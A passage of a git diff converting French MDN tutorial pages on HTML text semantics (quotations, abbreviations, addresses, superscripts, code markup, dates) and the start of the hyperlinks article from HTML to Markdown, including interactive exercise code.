avec un police italique par défaut. Vous pouvez voir l'affichage de ce code dans l'exemple [quotations.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/quotations.html). -<h3 id="Apprentissage_actif_Qui_a_dit_quoi">Apprentissage actif : Qui a dit quoi ?</h3> +### Apprentissage actif : Qui a dit quoi ? -<p>Il est temps de faire un autre apprentissage actif ! Dans cet exemple, nous souhaiterions que :</p> +Il est temps de faire un autre apprentissage actif ! Dans cet exemple, nous souhaiterions que : -<ol> - <li>vous marquiez le paragraphe central comme étant une citation comprenant un attribut <code>cite</code>.</li> - <li>une partie du troisième paragraphe soit balisée en tant que citation en ligne, comprenant aussi un attribut <code>cite</code>.</li> - <li>vous incorporiez un élément <code><cite></code> pour chaque citation</li> -</ol> +1. vous marquiez le paragraphe central comme étant une citation comprenant un attribut `cite`. +2. une partie du troisième paragraphe soit balisée en tant que citation en ligne, comprenant aussi un attribut `cite`. +3. vous incorporiez un élément `<cite>` pour chaque citation -<p>L'origine des citations dont vous aurez besoin se trouvent aux pages :</p> +L'origine des citations dont vous aurez besoin se trouvent aux pages : -<ul> - <li>http://www.brainyquote.com/quotes/authors/c/confucius.html pour la citation de Confucius,</li> - <li>http://www.affirmationsforpositivethinking.com/index.html pour « The Need To Eliminate Negative Self Talk » (<em>De la nécessité d'éliminer un discours négatif sur soi‑même</em>).</li> -</ul> +- http\://www\.brainyquote.com/quotes/authors/c/confucius.html pour la citation de Confucius, +- http\://www\.affirmationsforpositivethinking.com/index.html pour « The Need To Eliminate Negative Self Talk » (_De la nécessité d'éliminer un discours négatif sur soi‑même_). -<p>Si vous faites une erreur, vous pourrez toujours tout réinitialiser en pressant le bouton de même nom. Si vous êtes vraiment bloqué, pressez le bouton <em>Voir la solution</em> pour obtenir la réponse.</p> +Si vous faites une erreur, vous pourrez toujours tout réinitialiser en pressant le bouton de même nom. Si vous êtes vraiment bloqué, pressez le bouton _Voir la solution_ pour obtenir la réponse. -<pre class="brush: html hidden"><h2>Zone de rendu</h2> +```html hidden +<h2>Zone de rendu</h2> -<div class="output" style="min-height: 50px;"> -</div> +<div class="output" style="min-height: 50px;"> +</div> -<h2>Code modifiable</h2> -<p class="a11y-label">Pressez Esc pour sortir le focus de la Zone de saisie (Tab insère une tabulation).</p> +<h2>Code modifiable</h2> +<p class="a11y-label">Pressez Esc pour sortir le focus de la Zone de saisie (Tab insère une tabulation).</p> -<textarea id="code" class="input" style="min-height: 150px; width: 95%"> -<p>Salut et bienvenue sur ma page de motivation. Comme Confucius a dit en son temps :</p> -<p>La lenteur avec laquelle vous allez n'a pas d'importance tant que vous ne vous arrêtez pas.</p> -<p>J'aime aussi ce concept de pensée positive « Il est nécessaire d'éliminer le discours négatif sur soi-même » (comme dit dans « Affirmations for Positive Thinking ».)</p> -</textarea> +<textarea id="code" class="input" style="min-height: 150px; width: 95%"> +<p>Salut et bienvenue sur ma page de motivation. Comme Confucius a dit en son temps :</p> +<p>La lenteur avec laquelle vous allez n'a pas d'importance tant que vous ne vous arrêtez pas.</p> +<p>J'aime aussi ce concept de pensée positive « Il est nécessaire d'éliminer le discours négatif sur soi-même » (comme dit dans « Affirmations for Positive Thinking ».)</p> +</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Réinitialiser"> - <input id="solution" type="button" value="Voir la solution"> -</div></pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Réinitialiser"> + <input id="solution" type="button" value="Voir la solution"> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: sans-serif; } @@ -320,9 +341,11 @@ h2 { body { margin: 10px; background: #f5f9fa; -}</pre> +} +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -352,7 +375,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<p>Salut et bienvenue sur ma page de motivation. Comme <a href="http://www.brainyquote.com/quotes/authors/c/confucius.html"><cite>Confucius</cite></a> a dit en son temps :</p>\n\n<blockquote cite="http://www.brainyquote.com/quotes/authors/c/confucius.html">\n <p>La lenteur avec laquelle vous allez n\'a pas d\'importance tant que vous ne vous arrêtez pas.</p>\n</blockquote>\n\n<p>J\'aime aussi le concept de pensée positive <q cite="http://www.affirmationsforpositivethinking.com/index.htm"> Il est nécessaire d\'éliminer le discours négatif sur soi-même </q> (comme dit dans <a href="http://www.affirmationsforpositivethinking.com/index.htm"><cite>Affirmations for Positive Thinking</cite></a>.)</p>'; +var htmlSolution = '<p>Salut et bienvenue sur ma page de motivation. Comme <a href="http://www.brainyquote.com/quotes/authors/c/confucius.html"><cite>Confucius</cite></a> a dit en son temps :</p>\n\n<blockquote cite="http://www.brainyquote.com/quotes/authors/c/confucius.html">\n <p>La lenteur avec laquelle vous allez n\'a pas d\'importance tant que vous ne vous arrêtez pas.</p>\n</blockquote>\n\n<p>J\'aime aussi le concept de pensée positive <q cite="http://www.affirmationsforpositivethinking.com/index.htm"> Il est nécessaire d\'éliminer le discours négatif sur soi-même </q> (comme dit dans <a href="http://www.affirmationsforpositivethinking.com/index.htm"><cite>Affirmations for Positive Thinking</cite></a>.)</p>'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -398,52 +421,52 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> - -<p>{{ EmbedLiveSample('Apprentissage_actif_Qui_a_dit_quoi', 700, 450, "", "", "hide-codepen-jsfiddle") }}</p> - -<h2 id="Abréviations">Abréviations</h2> +}; +``` -<p>Un autre élément assez commun rencontré en se promenant dans le Web est l'élément {{htmlelement("abbr")}}}}. Il s'utilise pour entourer une abréviation ou un acronyme et donner le développement complet du terme (inclus dans un attribut {{htmlattrxref("title")}}}. Voyons quelques exemples :</p> +{{ EmbedLiveSample('Apprentissage_actif_Qui_a_dit_quoi', 700, 450, "", "", "hide-codepen-jsfiddle") }} -<pre><p>Nous utilisons l'<abbr title="Hypertext Markup Language">HTML</abbr> pour structurer nos documents web.</p> +## Abréviations -<p>Je pense que le <abbr title="Révérend">R.</abbr> Green l'a fait dans la cuisine avec une tronçonneuse.</p></pre> +Un autre élément assez commun rencontré en se promenant dans le Web est l'élément {{htmlelement("abbr")}}}}. Il s'utilise pour entourer une abréviation ou un acronyme et donner le développement complet du terme (inclus dans un attribut {{htmlattrxref("title")}}}. Voyons quelques exemples : + <p>Nous utilisons l'<abbr title="Hypertext Markup Language">HTML</abbr> pour structurer nos documents web.</p> + <p>Je pense que le <abbr title="Révérend">R.</abbr> Green l'a fait dans la cuisine avec une tronçonneuse.</p> -<p>Leur affichage correspond aux deux phrases suivantes (le développement de l'abréviation apparaît dans une infobulle quand le pointeur de souris passe sur le terme) :</p> +Leur affichage correspond aux deux phrases suivantes (le développement de l'abréviation apparaît dans une infobulle quand le pointeur de souris passe sur le terme) : -<p>Nous utilisons l'<abbr title="Hypertext Markup Language">HTML</abbr> pour structurer nos documents web.</p> +Nous utilisons l'HTML pour structurer nos documents web. -<p>Je pense que le <abbr title="Révérend">R.</abbr> Green l'a fait dans la cuisine avec une tronçonneuse.</p> +Je pense que le R. Green l'a fait dans la cuisine avec une tronçonneuse. -<div class="note"> -<p><strong>Note :</strong> Il existe un autre élément, {{htmlelement("acronym")}}, faisant fondamentalement la même chose que <code><abbr></code>, destiné spécifiquement aux acronymes plutôt qu'aux abréviations. Il est cependant tombé en désuétude — il n'était pas aussi bien pris en charge dans les navigateurs que <abbr> et sa fonction était si ressemblante qu'on a considéré inutile d'avoir les deux. Il suffit d'utiliser <abbr> à la place.</p> -</div> +> **Note :** Il existe un autre élément, {{htmlelement("acronym")}}, faisant fondamentalement la même chose que `<abbr>`, destiné spécifiquement aux acronymes plutôt qu'aux abréviations. Il est cependant tombé en désuétude — il n'était pas aussi bien pris en charge dans les navigateurs que \<abbr> et sa fonction était si ressemblante qu'on a considéré inutile d'avoir les deux. Il suffit d'utiliser \<abbr> à la place. -<h3 id="Apprentissage_actif_marquer_une_abréviation">Apprentissage actif : marquer une abréviation</h3> +### Apprentissage actif : marquer une abréviation -<p>Pour cet apprentissage actif, nous aimerions que vous balisiez simplement une abréviation. Vous pouvez utiliser notre élément ci-après ou le remplacer par un de votre cru.</p> +Pour cet apprentissage actif, nous aimerions que vous balisiez simplement une abréviation. Vous pouvez utiliser notre élément ci-après ou le remplacer par un de votre cru. -<pre class="brush: html hidden"><h2>Zone de rendu</h2> +```html hidden +<h2>Zone de rendu</h2> -<div class="output" style="min-height: 50px;"> -</div> +<div class="output" style="min-height: 50px;"> +</div> -<h2>Code modifiable</h2> -<p class="a11y-label">Pressez Esc pour sortir le focus de la Zone de saisie (Tab insère une tabulation).</p> +<h2>Code modifiable</h2> +<p class="a11y-label">Pressez Esc pour sortir le focus de la Zone de saisie (Tab insère une tabulation).</p> -<textarea id="code" class="input" style="min-height: 50px; width: 95%"> -<p>La NASA fait assurément des tâches passionnantes.</p> -</textarea> +<textarea id="code" class="input" style="min-height: 50px; width: 95%"> +<p>La NASA fait assurément des tâches passionnantes.</p> +</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Réinitialiser"> - <input id="solution" type="button" value="Voir la solution"> -</div></pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Réinitialiser"> + <input id="solution" type="button" value="Voir la solution"> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: sans-serif; } @@ -461,9 +484,11 @@ h2 { body { margin: 10px; background: #f5f9fa; -}</pre> +} +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -493,7 +518,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<p>La <abbr title="National Aeronautics and Space Administration">NASA</abbr> fait assurément des tâches passionnantes.</p>'; +var htmlSolution = '<p>La <abbr title="National Aeronautics and Space Administration">NASA</abbr> fait assurément des tâches passionnantes.</p>'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -539,135 +564,139 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> +}; +``` -<div>{{ EmbedLiveSample('Apprentissage_actif_marquer_une_abréviation', 700, 300, "", "", "hide-codepen-jsfiddle") }}</div> +{{ EmbedLiveSample('Apprentissage_actif_marquer_une_abréviation', 700, 300, "", "", "hide-codepen-jsfiddle") }} -<h2 id="Balisage_des_détails_de_contact">Balisage des détails de contact</h2> +## Balisage des détails de contact -<p>HTML possède l'élément {{htmlelement("address")}} pour baliser des détails de contact. Enveloppez simplement vos coordonnées, par exemple :</p> +HTML possède l'élément {{htmlelement("address")}} pour baliser des détails de contact. Enveloppez simplement vos coordonnées, par exemple : -<pre class="brush: html"><address> - <p>Chris Mills, Manchester, The Grim North, UK</p> -</address></pre> +```html +<address> + <p>Chris Mills, Manchester, The Grim North, UK</p> +</address> +``` -<p>Une chose à retenir cependant : l'élément {{htmlelement("address")}} est destiné à marquer les coordonnées de la personne ayant écrit le document HTML et non pas <em>n'importe quelle</em> adresse. Donc, ce qui précède ne serait acceptable que si Chris avait écrit le document sur lequel ce balisage apparaît. Notez que serait également acceptable ce qui suit :</p> +Une chose à retenir cependant : l'élément {{htmlelement("address")}} est destiné à marquer les coordonnées de la personne ayant écrit le document HTML et non pas _n'importe quelle_ adresse. Donc, ce qui précède ne serait acceptable que si Chris avait écrit le document sur lequel ce balisage apparaît. Notez que serait également acceptable ce qui suit : -<pre class="brush: html"><address> - <p>Page écrite par <a href="../authors/chris-mills/">Chris Mills</a>.</p> -</address></pre> +```html +<address> + <p>Page écrite par <a href="../authors/chris-mills/">Chris Mills</a>.</p> +</address> +``` -<h2 id="Exposants_et_indices">Exposants et indices</h2> +## Exposants et indices -<p>Vous devrez parfois utiliser exposants et indices pour marquer des éléments comme dates, formules chimiques et équations mathématiques de façon à ce qu'ils aient une bonne signification. On effectue ce travail à l'aide des éléments {{htmlelement("sup")}} et {{htmlelement("sub")}}. Par exemple :</p> +Vous devrez parfois utiliser exposants et indices pour marquer des éléments comme dates, formules chimiques et équations mathématiques de façon à ce qu'ils aient une bonne signification. On effectue ce travail à l'aide des éléments {{htmlelement("sup")}} et {{htmlelement("sub")}}. Par exemple : -<pre class="brush: html"><p>Ma date de naissance est le 1<sup>er</sup> mai 2001.</p> -<p>La formule chimique de la caféine est C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p> -<p>Si x<sup>2</sup> égale 9, x doit valoir 3 ou -3.</p></pre> +```html +<p>Ma date de naissance est le 1<sup>er</sup> mai 2001.</p> +<p>La formule chimique de la caféine est C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p> +<p>Si x<sup>2</sup> égale 9, x doit valoir 3 ou -3.</p> +``` -<p>Les sorties produites par ces lignes de code se présentent comme suit :</p> +Les sorties produites par ces lignes de code se présentent comme suit : -<p>Ma date de naissance est le 1<sup>er</sup> mai 2001.</p> +Ma date de naissance est le 1<sup>er</sup> mai 2001. -<p>La formule chimique de la caféine est C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p> +La formule chimique de la caféine est C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>. -<p>Si x^2 égale 9, x doit valoir 3 ou -3.</p> +Si x^2 égale 9, x doit valoir 3 ou -3. -<h2 id="Représentation_du_code_informatique">Représentation du code informatique</h2> +## Représentation du code informatique -<p>HTML met à votre dispositon un certain nombre d'éléments pour marquer du code informatique :</p> +HTML met à votre dispositon un certain nombre d'éléments pour marquer du code informatique : -<ul> - <li>{{htmlelement("code")}} : pour marquer des parties génériques de code.</li> - <li>{{htmlelement("pre")}} : pour conserver les blancs (généralement dans les blocs de code) — si vous indentez ou mettez des blancs en excès dans votre texte, les navigateurs les ignoreront et vous ne les verrez plus dans le rendu de la page. Par contre si vous enveloppez le texte dans des balises <pre></pre>, les blancs seront rendus tels qu'il se présentent dans votre éditeur de texte.</li> - <li>{{htmlelement("var")}} : pour marquer spécifiquement les noms de variables.</li> - <li>{{htmlelement("kbd")}} : pour marquer les touches de clavier (et autres types d'entrées) à presser sur l'ordinateur.</li> - <li>{{htmlelement("samp")}} : pour marquer une sortie de programme.</li> -</ul> +- {{htmlelement("code")}} : pour marquer des parties génériques de code. +- {{htmlelement("pre")}} : pour conserver les blancs (généralement dans les blocs de code) — si vous indentez ou mettez des blancs en excès dans votre texte, les navigateurs les ignoreront et vous ne les verrez plus dans le rendu de la page. Par contre si vous enveloppez le texte dans des balises \<pre>\</pre>, les blancs seront rendus tels qu'il se présentent dans votre éditeur de texte. +- {{htmlelement("var")}} : pour marquer spécifiquement les noms de variables. +- {{htmlelement("kbd")}} : pour marquer les touches de clavier (et autres types d'entrées) à presser sur l'ordinateur. +- {{htmlelement("samp")}} : pour marquer une sortie de programme. -<p>Voyons quelques exemples. Essayez de jouer avec cela (faites une copie de notre fichier exemple <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/other-semantics.html">other-semantics.html</a>) :</p> +Voyons quelques exemples. Essayez de jouer avec cela (faites une copie de notre fichier exemple [other-semantics.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/other-semantics.html)) : -<pre class="brush: html"><pre><code>var para = document.querySelector('p'); +```html +<pre><code>var para = document.querySelector('p'); para.onclick = function() { alert('Owww, arrête de me toucher !'); -}</code></pre> - -<p>N'utilisez pas d'éléments de présentation comme <code>&lt;font&gt;</code> et <code>&lt;center&gt;</code>.</p> - -<p>Dans l'exemple JavaScript ci‑dessus, <var>para</var> représente un élément paragraphe.</p> +}</code></pre> +<p>N'utilisez pas d'éléments de présentation comme <code><font></code> et <code><center></code>.</p> -<p>Sélectionnez la totalité du texte avec <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>A</kbd>.</p> +<p>Dans l'exemple JavaScript ci‑dessus, <var>para</var> représente un élément paragraphe.</p> -<pre>$ <kbd>ping mozilla.org</kbd> -<samp>PING mozilla.org (63.245.208.195) 56(84) bytes of data. -64 bytes from mozilla.org (63.245.208.195): icmp_seq=1 ttl=46 time=191 ms</samp></pre> -</pre> -<p>Ce code se présente ainsi :</p> +<p>Sélectionnez la totalité du texte avec <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>A</kbd>.</p> -<p>{{ EmbedLiveSample('Représentation_du_code_informatique','100%',300) }}</p> +<pre>$ <kbd>ping mozilla.org</kbd> +<samp>PING mozilla.org (63.245.208.195) 56(84) bytes of data. +64 bytes from mozilla.org (63.245.208.195): icmp_seq=1 ttl=46 time=191 ms</samp></pre> +``` -<h2 id="Balisage_des_heures_et_dates">Balisage des heures et dates</h2> +Ce code se présente ainsi : -<p>HTML fournit également l'élément {{htmlelement("time")}}} pour marquer les heures et les dates dans un format lisible par machine. Par exemple :</p> +{{ EmbedLiveSample('Représentation_du_code_informatique','100%',300) }} -<pre class="brush: html"><time datetime="2016-01-20">20 janvier 2016</time></pre> +## Balisage des heures et dates -<p>En quoi est-ce utile ? Eh bien, il y a beaucoup de façons différentes dont les humains écrivent les dates. La date ci-dessus pourrait s'écrire comme suit :</p> +HTML fournit également l'élément {{htmlelement("time")}}} pour marquer les heures et les dates dans un format lisible par machine. Par exemple : -<ul> - <li>20 Janvier 2016</li> - <li>20th January 2016</li> - <li>Jan 20 2016</li> - <li>20/01/16</li> - <li>01/20/16</li> - <li>Le 20 du mois prochain</li> - <li>20e Janvier 2016</li> - <li>2016年1月20日</li> - <li>etc.</li> -</ul> +```html +<time datetime="2016-01-20">20 janvier 2016</time> +``` -<p>Mais ces différents formes ne sont pas facilement reconnaissables par les ordinateurs — que se passerait‑il si vous vouliez saisir automatiquement les dates de tous les événements dans une page et les insérer dans un calendrier ? L'élément {{htmlelement("time")}}} vous permettra d'attacher un horodatage non ambigu lisible par machine à cette fin.</p> +En quoi est-ce utile ? Eh bien, il y a beaucoup de façons différentes dont les humains écrivent les dates. La date ci-dessus pourrait s'écrire comme suit : -<p>L'exemple de base ci-dessus ne fournit qu'une simple date lisible par machine, mais il y a beaucoup d'autres options possibles, par exemple :</p> +- 20 Janvier 2016 +- 20th January 2016 +- Jan 20 2016 +- 20/01/16 +- 01/20/16 +- Le 20 du mois prochain +- 20e Janvier 2016 +- 2016 年 1 月 20 日 +- etc. -<pre class="brush: html"><!-- Simple date standard --> -<time datetime="2016-01-20">20 janvier 2016</time> -<!-- Juste l'année et le mois --> -<time datetime="2016-01">janvier 2016</time> -<!-- Juste le mois et les jour --> -<time datetime="01-20">20 janvier</time> -<!-- Juste l'heure, heure et minutes --> -<time datetime="19:30">19h30</time> -<!-- Vous pouvez aussi mettre les secondes et les millisecondes ! --> -<time datetime="19:30:01.856">19h30m1,856s</time> -<!-- Date et heure --> -<time datetime="2016-01-20T19:30">19h30, le 20 janvier 2016</time> -<!-- Date et heure avec décalage de fuseau horaire --> -<time datetime="2016-01-20T19:30+01:00">19h30, le 20 janvier 2016 corespond à 20h30 en France</time> -<!-- Appel d'un numéro de semains donné --> -<time datetime="2016-W04">La 4e semaine de 2016</time></pre> +Mais ces différents formes ne sont pas facilement reconnaissables par les ordinateurs — que se passerait‑il si vous vouliez saisir automatiquement les dates de tous les événements dans une page et les insérer dans un calendrier ? L'élément {{htmlelement("time")}}} vous permettra d'attacher un horodatage non ambigu lisible par machine à cette fin. -<h2 id="Résumé">Résumé</h2> +L'exemple de base ci-dessus ne fournit qu'une simple date lisible par machine, mais il y a beaucoup d'autres options possibles, par exemple : +```html +<!-- Simple date standard --> +<time datetime="2016-01-20">20 janvier 2016</time> +<!-- Juste l'année et le mois --> +<time datetime="2016-01">janvier 2016</time> +<!-- Juste le mois et les jour --> +<time datetime="01-20">20 janvier</time> +<!-- Juste l'heure, heure et minutes --> +<time datetime="19:30">19h30</time> +<!-- Vous pouvez aussi mettre les secondes et les millisecondes ! --> +<time datetime="19:30:01.856">19h30m1,856s</time> +<!-- Date et heure --> +<time datetime="2016-01-20T19:30">19h30, le 20 janvier 2016</time> +<!-- Date et heure avec décalage de fuseau horaire --> +<time datetime="2016-01-20T19:30+01:00">19h30, le 20 janvier 2016 corespond à 20h30 en France</time> +<!-- Appel d'un numéro de semains donné --> +<time datetime="2016-W04">La 4e semaine de 2016</time> +``` +## Résumé -<p>Nous voici arrivés à la fin de notre étude de la sémantique des textes en HTML. N'oubliez pas que ce qui précède ne constitue pas la liste exhaustive des éléments texte en HTML — nous avons essayé de couvrir essentiellement les plus courants dans la nature ou du moins ceux que nous avons pensé intéressants. Pour en voir plus, jetez un coup d'oeil à notre <a href="/fr/docs/Web/HTML/Element">Référence des éléments HTML</a> (la section <a href="/fr/docs/Web/HTML/Element#inline_text_semantics">sémantique de texte en ligne</a> serait un bon point de départ.) Dans l'article suivant, nous examinerons les éléments HTML à utiliser pour structurer les diverses parties d'un document HTML.</p> +Nous voici arrivés à la fin de notre étude de la sémantique des textes en HTML. N'oubliez pas que ce qui précède ne constitue pas la liste exhaustive des éléments texte en HTML — nous avons essayé de couvrir essentiellement les plus courants dans la nature ou du moins ceux que nous avons pensé intéressants. Pour en voir plus, jetez un coup d'oeil à notre [Référence des éléments HTML](/fr/docs/Web/HTML/Element) (la section [sémantique de texte en ligne](/fr/docs/Web/HTML/Element#inline_text_semantics) serait un bon point de départ.) Dans l'article suivant, nous examinerons les éléments HTML à utiliser pour structurer les diverses parties d'un document HTML. -<p>{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks", "Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML")}}</p> +{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks", "Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started">Commencer avec le HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Création d'hyperliens</a></li> - <li>Formatage avancé du texte</li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Structure de Site Web et de document</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Déboguer de l'HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Faire une lettre</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structurer une page de contenu</a></li> -</ul> +- [Commencer avec le HTML](/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started) +- [Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML) +- [Fondamentaux du texte HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals) +- [Création d'hyperliens](/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks) +- Formatage avancé du texte +- [Structure de Site Web et de document](/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure) +- [Déboguer de l'HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML) +- [Faire une lettre](/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter) +- [Structurer une page de contenu](/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content) diff --git a/files/fr/learn/html/introduction_to_html/creating_hyperlinks/index.md b/files/fr/learn/html/introduction_to_html/creating_hyperlinks/index.md index abaeb6d167..60d64730b5 100644 --- a/files/fr/learn/html/introduction_to_html/creating_hyperlinks/index.md +++ b/files/fr/learn/html/introduction_to_html/creating_hyperlinks/index.md @@ -16,319 +16,322 @@ tags: translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks original_slug: Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks --- -<div>{{LearnSidebar}}<br> -{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML/Advanced_text_formatting", "Apprendre/HTML/Introduction_à_HTML")}}</div> +{{LearnSidebar}} +{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML/Advanced_text_formatting", "Apprendre/HTML/Introduction_à_HTML")}} -<p>Les Hyperliens sont vraiment importants, ils sont ce qui fait du Web <em>une toile</em>. Cet article montre la syntaxe requise pour faire un lien et discute des bonnes pratiques pour les liens.</p> +Les Hyperliens sont vraiment importants, ils sont ce qui fait du Web _une toile_. Cet article montre la syntaxe requise pour faire un lien et discute des bonnes pratiques pour les liens. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Être familiarisé avec les bases du HTML, traitées à la page <a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started">Commencer avec le HTML</a> et du formatage de texte HTML, décrit dans les <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre à implémenter un hyperlien efficacement, et à relier de multiples fichiers ensemble.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Être familiarisé avec les bases du HTML, traitées à la page + <a + href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started" + >Commencer avec le HTML</a + > + et du formatage de texte HTML, décrit dans les + <a + href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals" + >Fondamentaux du texte HTML</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Apprendre à implémenter un hyperlien efficacement, et à relier de + multiples fichiers ensemble. + </td> + </tr> + </tbody> </table> -<h2 id="Quest-ce_un_hyperlien">Qu'est-ce un hyperlien ?</h2> +## Qu'est-ce un hyperlien ? -<p>Les hyperliens sont l'une des plus passionnantes innovations que le web a à offrir. De fait, ils ont été une fonctionnalité du Web depuis le tout début, mais ils sont ce qui fait du Web <em>une toile</em> — ils nous permettent de lier nos documents à n'importe quel autre document (ou autre ressource) voulu ; nous pouvons faire des liens vers des parties précises de documents et rendre des applications disponibles à une simple adresse web (contrairement aux applications natives, qui doivent être installées et tout le travail). À peu près tout contenu web peut être converti en lien, de sorte que cliqué (ou activé autrement), il dirigera le navigateur vers une autre adresse web ({{glossary("URL")}}).</p> +Les hyperliens sont l'une des plus passionnantes innovations que le web a à offrir. De fait, ils ont été une fonctionnalité du Web depuis le tout début, mais ils sont ce qui fait du Web _une toile_ — ils nous permettent de lier nos documents à n'importe quel autre document (ou autre ressource) voulu ; nous pouvons faire des liens vers des parties précises de documents et rendre des applications disponibles à une simple adresse web (contrairement aux applications natives, qui doivent être installées et tout le travail). À peu près tout contenu web peut être converti en lien, de sorte que cliqué (ou activé autrement), il dirigera le navigateur vers une autre adresse web ({{glossary("URL")}}). -<div class="note"> -<p><strong>Note :</strong> Une URL peut pointer vers des fichiers HTML, des fichiers textes, des images, des documents textuels, des fichiers vidéo ou audio et tout ce qui peut exister sur le Web. Si le navigateur Web ne sait pas comment afficher ou gérer un fichier, il vous demande si vous voulez ouvrir le fichier (dans ce cas, la responsabilité de l'ouverture et de la gestion du fichier incombe à l'application native adéquate sur l'appareil) ou bien télécharger le fichier (auquel cas, vous pouvez essayer de vous en occuper plus tard).</p> -</div> +> **Note :** Une URL peut pointer vers des fichiers HTML, des fichiers textes, des images, des documents textuels, des fichiers vidéo ou audio et tout ce qui peut exister sur le Web. Si le navigateur Web ne sait pas comment afficher ou gérer un fichier, il vous demande si vous voulez ouvrir le fichier (dans ce cas, la responsabilité de l'ouverture et de la gestion du fichier incombe à l'application native adéquate sur l'appareil) ou bien télécharger le fichier (auquel cas, vous pouvez essayer de vous en occuper plus tard). -<p>La page d'accueil de la BBC, par exemple, contient un nombre important de liens pour pointer, non seulement vers de multiples articles d'actualité, mais encore vers d'autres zones du site (fonctionnalité de navigation) , des pages d'inscription/de connexion (outils utilisateur) et plus encore.</p> +La page d'accueil de la BBC, par exemple, contient un nombre important de liens pour pointer, non seulement vers de multiples articles d'actualité, mais encore vers d'autres zones du site (fonctionnalité de navigation) , des pages d'inscription/de connexion (outils utilisateur) et plus encore. -<p><img alt="frontpage of bbc.co.uk, showing many news items, and navigation menu functionality" src="bbc-homepage.png"></p> + -<h2 id="Anatomie_dun_lien">Anatomie d'un lien</h2> +## Anatomie d'un lien -<p>Un lien élémentaire se crée en intégrant le texte (ou tout autre contenu, cf. {{anch("Liens de niveau bloc")}}) que vous voulez transformer en lien dans un élément {{htmlelement("a")}} et en lui affectant un attribut {{htmlattrxref("href", "a")}} (également connu comme étant une <strong>Hypertext Reference</strong>) contenant l'adresse web vers laquelle vous voulez que le lien pointe.</p> +Un lien élémentaire se crée en intégrant le texte (ou tout autre contenu, cf. {{anch("Liens de niveau bloc")}}) que vous voulez transformer en lien dans un élément {{htmlelement("a")}} et en lui affectant un attribut {{htmlattrxref("href", "a")}} (également connu comme étant une **Hypertext Reference**) contenant l'adresse web 